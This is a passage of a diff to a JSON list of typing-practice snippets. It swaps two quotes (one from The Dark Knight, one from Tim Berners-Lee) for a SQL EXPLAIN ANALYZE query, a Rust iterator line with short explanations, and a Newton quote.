+    "content": "EXPLAIN ANALYZE SELECT * FROM test_results WHERE mode_key = 'time-30' ORDER BY wpm DESC LIMIT 50;",
+    "attribution": "SQL",
+    "language": "clike",
+    "explanation": "EXPLAIN ANALYZE runs the query and reports what the planner actually did, not what it guessed it would do."
   },
   {
-    "category": "movies",
-    "content": "You either die a hero, or you live long enough to see yourself become the villain.",
-    "attribution": "The Dark Knight (2008)"
+    "category": "programming",
+    "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
   },
   {
-    "category": "technology",
-    "content": "The web as I envisaged it, we have not seen it yet. The future is still so much bigger than the past.",
-    "attribution": "Tim Berners-Lee"
+    "category": "science",
+    "content": "If I have seen further it is by standing on the shoulders of giants.",
+    "attribution": "Isaac Newton"
   }
 ]
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